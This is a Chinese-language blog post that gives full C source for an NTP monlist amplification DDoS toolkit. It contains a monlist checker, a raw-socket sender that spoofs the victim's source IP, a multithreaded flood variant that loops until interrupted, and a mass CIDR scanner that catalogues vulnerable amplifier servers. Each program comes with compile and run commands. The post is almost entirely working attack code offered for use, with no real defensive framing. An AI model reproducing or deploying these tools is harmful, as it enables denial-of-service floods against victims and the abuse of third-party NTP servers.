DDOS – NTP 放大攻击 代码

检测ntp是否支持monlist
gcc -o ntp_monlist_check ntp_monlist_check.c
./ntp_monlist_check 192.168.1.100
# 或
./ntp_monlist_check 8.8.8.8
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#define NTP_PORT 123
#define BUFFER_SIZE 1024
// MON_GETLIST 请求包 (Mode 7)
unsigned char monlist_request[] = {
0x17, 0x00, 0x03, 0x2a, 0x00, 0x00, 0x00, 0x00
// 0x17: Response=0, More=0, Version=2, Mode=7
// 0x00: Auth=0, Sequence=0
// 0x03: Implementation = XNTPD (3)
// 0x2a: Request code = MON_GETLIST (42)
};
int main(int argc, char *argv[]) {
if (argc != 2) {
printf("用法: %s <NTP服务器IP>\n", argv[0]);
return 1;
}
int sock;
struct sockaddr_in server_addr;
unsigned char buffer[BUFFER_SIZE];
socklen_t addr_len = sizeof(server_addr);
// 创建 UDP socket
if ((sock = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
perror("socket 创建失败");
return 1;
}
// 设置服务器地址
memset(&server_addr, 0, sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(NTP_PORT);
server_addr.sin_addr.s_addr = inet_addr(argv[1]);
// 发送 monlist 请求
if (sendto(sock, monlist_request, sizeof(monlist_request), 0,
(struct sockaddr*)&server_addr, sizeof(server_addr)) < 0) {
perror("发送失败");
close(sock);
return 1;
}
// 设置超时 2 秒
struct timeval tv;
tv.tv_sec = 2;
tv.tv_usec = 0;
setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
// 接收响应
int n = recvfrom(sock, buffer, BUFFER_SIZE, 0,
(struct sockaddr*)&server_addr, &addr_len);
if (n < 0) {
printf("未收到响应 → monlist 可能已被禁用\n");
} else if (n >= 8) {
// 解析响应头
unsigned char impl = buffer[2];
unsigned char req_code = buffer[3];
unsigned short data_items = ((buffer[4] & 0x0F) << 8) | buffer[5];
unsigned short item_size = (buffer[6] << 8) | buffer[7]; // 注意字节序
printf("收到响应 (%d 字节)\n", n);
printf("Implementation: 0x%02x, Request Code: 0x%02x\n", impl, req_code);
printf("数据项数量: %d, 每项大小: 0x%04x (%d 字节)\n",
data_items, item_size, item_size);
if (req_code == 0x2a && item_size == 0x48) {
printf("✅ MONLIST 支持已启用(存在放大攻击风险!)\n");
} else {
printf("❌ MONLIST 未启用或已被限制\n");
}
} else {
printf("响应数据太短\n");
}
close(sock);
return 0;
}
单线程攻击
gcc -o ntp_monlist_spoof ntp_monlist_spoof.c
sudo ./ntp_monlist_spoof <目标IP> <伪造源IP>
sudo ./ntp_monlist_spoof 203.0.113.50 198.51.100.100
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#define NTP_PORT 123
// MON_GETLIST 请求数据
unsigned char monlist_data[] = {
0x17, 0x00, 0x03, 0x2a, 0x00, 0x00, 0x00, 0x00
};
unsigned short checksum(void *b, int len) {
unsigned short *buf = b;
unsigned int sum = 0;
unsigned short result;
for (sum = 0; len > 1; len -= 2)
sum += *buf++;
if (len == 1)
sum += *(unsigned char*)buf;
sum = (sum >> 16) + (sum & 0xFFFF);
sum += (sum >> 16);
result = ~sum;
return result;
}
int main(int argc, char *argv[]) {
if (argc != 3) {
printf("用法: %s <目标NTP服务器IP> <伪造源IP>\n", argv[0]);
printf("示例: %s 192.168.1.100 10.0.0.5\n", argv[0]);
return 1;
}
const char *target_ip = argv[1];
const char *spoofed_ip = argv[2];
int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (sock < 0) {
perror("创建 Raw Socket 失败(请使用 root/sudo 权限)");
return 1;
}
char packet[4096];
memset(packet, 0, sizeof(packet));
struct iphdr *ip = (struct iphdr *)packet;
struct udphdr *udp = (struct udphdr *)(packet + sizeof(struct iphdr));
unsigned char *data = packet + sizeof(struct iphdr) + sizeof(struct udphdr);
// 填充 monlist 数据
memcpy(data, monlist_data, sizeof(monlist_data));
// IP 头部
ip->ihl = 5;
ip->version = 4;
ip->tos = 0;
ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + sizeof(monlist_data));
ip->id = htons(12345);
ip->frag_off = 0;
ip->ttl = 64;
ip->protocol = IPPROTO_UDP;
ip->check = 0;
ip->saddr = inet_addr(spoofed_ip); // 伪造源 IP
ip->daddr = inet_addr(target_ip);
// UDP 头部
udp->source = htons(12345);
udp->dest = htons(NTP_PORT);
udp->len = htons(sizeof(struct udphdr) + sizeof(monlist_data));
udp->check = 0;
// 计算 IP 校验和
ip->check = checksum((unsigned short *)packet, sizeof(struct iphdr));
struct sockaddr_in dest;
memset(&dest, 0, sizeof(dest));
dest.sin_family = AF_INET;
dest.sin_addr.s_addr = ip->daddr;
printf("发送伪造请求 → 目标: %s | 伪造源IP: %s\n", target_ip, spoofed_ip);
if (sendto(sock, packet, ntohs(ip->tot_len), 0,
(struct sockaddr*)&dest, sizeof(dest)) < 0) {
perror("发送失败");
} else {
printf("✅ 请求已发送!\n");
printf("注意:响应会发往伪造的 IP (%s),本地通常收不到。\n", spoofed_ip);
}
close(sock);
return 0;
}
优化后的版本(多线程 + 基础性能优化)
gcc -o ntp_flood -pthread ntp_flood.c
sudo ./ntp_flood <目标IP> <伪造源IP> <线程数>
sudo ./ntp_flood 192.168.1.100 10.0.0.5 8
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <pthread.h>
#include <signal.h>
#define NTP_PORT 123
#define DEFAULT_THREADS 4
#define PACKET_SIZE 128
unsigned char monlist_data[] = {0x17, 0x00, 0x03, 0x2a, 0x00, 0x00, 0x00, 0x00};
volatile int running = 1;
char *target_ip;
char *spoofed_ip;
int thread_count;
// 校验和函数
unsigned short checksum(void *b, int len) {
unsigned short *buf = b;
unsigned int sum = 0;
unsigned short result;
for (sum = 0; len > 1; len -= 2) sum += *buf++;
if (len == 1) sum += *(unsigned char*)buf;
sum = (sum >> 16) + (sum & 0xFFFF);
sum += (sum >> 16);
result = ~sum;
return result;
}
void *send_thread(void *arg) {
int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (sock < 0) {
perror("线程创建 Raw Socket 失败");
return NULL;
}
char packet[PACKET_SIZE];
struct iphdr *ip = (struct iphdr *)packet;
struct udphdr *udp = (struct udphdr *)(packet + sizeof(struct iphdr));
unsigned char *data = packet + sizeof(struct iphdr) + sizeof(struct udphdr);
memcpy(data, monlist_data, sizeof(monlist_data));
ip->ihl = 5;
ip->version = 4;
ip->tos = 0;
ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + sizeof(monlist_data));
ip->id = htons(12345);
ip->frag_off = 0;
ip->ttl = 64;
ip->protocol = IPPROTO_UDP;
ip->saddr = inet_addr(spoofed_ip);
ip->daddr = inet_addr(target_ip);
udp->source = htons(12345 + (long)arg); // 每个线程略微不同端口
udp->dest = htons(NTP_PORT);
udp->len = htons(sizeof(struct udphdr) + sizeof(monlist_data));
udp->check = 0;
ip->check = checksum((unsigned short *)packet, sizeof(struct iphdr));
struct sockaddr_in dest;
memset(&dest, 0, sizeof(dest));
dest.sin_family = AF_INET;
dest.sin_addr.s_addr = ip->daddr;
while (running) {
sendto(sock, packet, ntohs(ip->tot_len), 0, (struct sockaddr*)&dest, sizeof(dest));
// 可选:usleep(100); // 控制速度,避免瞬间把网卡打满
}
close(sock);
return NULL;
}
void stop_handler(int sig) {
running = 0;
printf("\n停止发送...\n");
}
int main(int argc, char *argv[]) {
if (argc != 4) {
printf("用法: %s <目标IP> <伪造源IP> <线程数>\n", argv[0]);
printf("示例: %s 203.0.113.50 198.51.100.100 8\n", argv[0]);
return 1;
}
target_ip = argv[1];
spoofed_ip = argv[2];
thread_count = atoi(argv[3]);
if (thread_count < 1) thread_count = DEFAULT_THREADS;
signal(SIGINT, stop_handler);
printf("启动 %d 个线程 → 目标: %s | 伪造源: %s\n", thread_count, target_ip, spoofed_ip);
printf("按 Ctrl+C 停止...\n");
pthread_t *threads = malloc(thread_count * sizeof(pthread_t));
for (int i = 0; i < thread_count; i++) {
if (pthread_create(&threads[i], NULL, send_thread, (void*)(long)i) != 0) {
perror("创建线程失败");
}
}
for (int i = 0; i < thread_count; i++) {
pthread_join(threads[i], NULL);
}
free(threads);
return 0;
}
完整可编译运行版本(单线程 epoll + CIDR + 文件输入 + 速率控制 + JSON 输出)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/epoll.h>
#include <sys/time.h>
#include <fcntl.h>
#include <signal.h>
#include <errno.h>
#include <time.h>
#include <pthread.h>
#define MAX_EVENTS 8192
#define NTP_PORT 123
#define TIMEOUT_MS 1200
#define MAX_IPS 2000000
typedef struct {
uint32_t ip;
int stage; // 0:未扫描, 1:已发NTP查询, 2:已发monlist
time_t send_time;
} ScanItem;
static volatile int running = 1;
static int open_count = 0, monlist_count = 0;
static ScanItem *scan_list = NULL;
static int total_ips = 0;
static FILE *json_fp = NULL;
void sig_handler(int sig) { running = 0; }
// ==================== CIDR 解析 ====================
uint32_t ip_to_int(const char *ip) {
unsigned int a, b, c, d;
sscanf(ip, "%u.%u.%u.%u", &a, &b, &c, &d);
return (a<<24) | (b<<16) | (c<<8) | d;
}
void int_to_ip(uint32_t ip, char *buf) {
sprintf(buf, "%d.%d.%d.%d", (ip>>24)&0xFF, (ip>>16)&0xFF, (ip>>8)&0xFF, ip&0xFF);
}
int parse_cidr(const char *cidr, uint32_t **out_ips, int *out_count) {
char ipstr[16];
int prefix;
if (sscanf(cidr, "%15[^/]/%d", ipstr, &prefix) != 2) return -1;
if (prefix < 8 || prefix > 32) return -1;
uint32_t base = ip_to_int(ipstr);
base &= ~((1U << (32 - prefix)) - 1); // 网络地址
*out_count = 1U << (32 - prefix);
if (*out_count > MAX_IPS) *out_count = MAX_IPS;
*out_ips = malloc(*out_count * sizeof(uint32_t));
for (int i = 0; i < *out_count; i++) {
(*out_ips)[i] = htonl(base + i);
}
return 0;
}
// ==================== 主程序 ====================
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("用法: %s <CIDR或IP文件> [PPS] [输出JSON]\n", argv[0]);
printf("示例:\n %s 192.168.1.0/24 5000 result.json\n", argv[0]);
printf(" %s ips.txt 2000\n", argv[0]);
return 1;
}
int pps = (argc > 2) ? atoi(argv[2]) : 800;
const char *json_file = (argc > 3) ? argv[3] : "ntp_scan.json";
json_fp = fopen(json_file, "w");
if (json_fp) fprintf(json_fp, "[\n");
signal(SIGINT, sig_handler);
// 加载 IP
uint32_t *ips = NULL;
if (strchr(argv[1], '/')) {
// CIDR
if (parse_cidr(argv[1], &ips, &total_ips) != 0) {
printf("CIDR 格式错误\n");
return 1;
}
} else {
// 从文件读取
FILE *f = fopen(argv[1], "r");
if (!f) { perror("打开文件失败"); return 1; }
ips = malloc(MAX_IPS * sizeof(uint32_t));
char line[64];
while (fgets(line, sizeof(line), f) && total_ips < MAX_IPS) {
line[strcspn(line, "\r\n")] = 0;
if (strlen(line) > 6) ips[total_ips++] = inet_addr(line);
}
fclose(f);
}
printf("加载 %d 个 IP | PPS上限 ≈ %d | 输出文件: %s\n", total_ips, pps, json_file);
int sock = socket(AF_INET, SOCK_DGRAM, 0);
fcntl(sock, F_SETFL, O_NONBLOCK);
int epfd = epoll_create1(0);
struct epoll_event ev = {.events = EPOLLIN | EPOLLET, .data.fd = sock};
epoll_ctl(epfd, EPOLL_CTL_ADD, sock, &ev);
struct epoll_event events[MAX_EVENTS];
time_t last_print = time(NULL);
long long sent = 0, start_time = time(NULL);
int idx = 0; // 当前扫描位置
unsigned char ntp_query[48] = {0x1b}; // 普通 NTP 查询
unsigned char monlist_req[8] = {0x17, 0x00, 0x03, 0x2a, 0x00, 0x00, 0x00, 0x00};
while (running && (idx < total_ips || sent < total_ips * 2)) {
// 接收响应
int nfds = epoll_wait(epfd, events, MAX_EVENTS, 5);
for (int i = 0; i < nfds; i++) {
if (events[i].events & EPOLLIN) {
struct sockaddr_in from;
socklen_t len = sizeof(from);
unsigned char buf[512];
int n = recvfrom(sock, buf, sizeof(buf), 0, (struct sockaddr*)&from, &len);
if (n > 0) {
char ip_str[16];
int_to_ip(ntohl(from.sin_addr.s_addr), ip_str);
pthread_mutex_t dummy = PTHREAD_MUTEX_INITIALIZER; // 简化
if (buf[0] & 0x08) { // 简单判断响应
open_count++;
printf("[+] OPEN %s\n", ip_str);
// 继续发送 monlist 查询
sendto(sock, monlist_req, sizeof(monlist_req), 0, (struct sockaddr*)&from, len);
} else if (n >= 8 && buf[3] == 0x2a) {
monlist_count++;
printf("[!] MONLIST %s\n", ip_str);
}
if (json_fp) {
fprintf(json_fp, " {\"ip\":\"%s\",\"open\":true,\"monlist\":%s}%s\n",
ip_str, (n>=8 && buf[3]==0x2a)?"true":"false",
(open_count+monlist_count < total_ips) ? "," : "");
}
}
}
}
// 控制速率发送
if (idx < total_ips && (sent * 1000LL / (time(NULL)-start_time+1) < pps)) {
struct sockaddr_in dest = {0};
dest.sin_family = AF_INET;
dest.sin_port = htons(NTP_PORT);
dest.sin_addr.s_addr = ips[idx];
sendto(sock, ntp_query, sizeof(ntp_query), 0, (struct sockaddr*)&dest, sizeof(dest));
idx++;
sent++;
}
if (time(NULL) - last_print >= 3) {
printf("进度: %d/%d | Open: %d | Monlist危险: %d | 当前PPS≈%.0f\n",
idx, total_ips, open_count, monlist_count,
(double)sent / (time(NULL)-start_time+1));
last_print = time(NULL);
}
usleep(500); // 轻微让出CPU
}
if (json_fp) {
fprintf(json_fp, "]\n");
fclose(json_fp);
}
free(ips);
close(epfd);
close(sock);
printf("\n扫描完成! 共扫描 %d 个IP | 开放 NTP: %d | 支持 monlist: %d\n", total_ips, open_count, monlist_count);
return 0;
}
📌 版权声明
文章作者:大神K
原文链接:https://dashenk.com/2026/05/02/ddos-ntp-%e6%94%be%e5%a4%a7%e6%94%bb%e5%87%bb-%e4%bb%a3%e7%a0%81/
版权说明:本文为原创内容,转载请注明出处。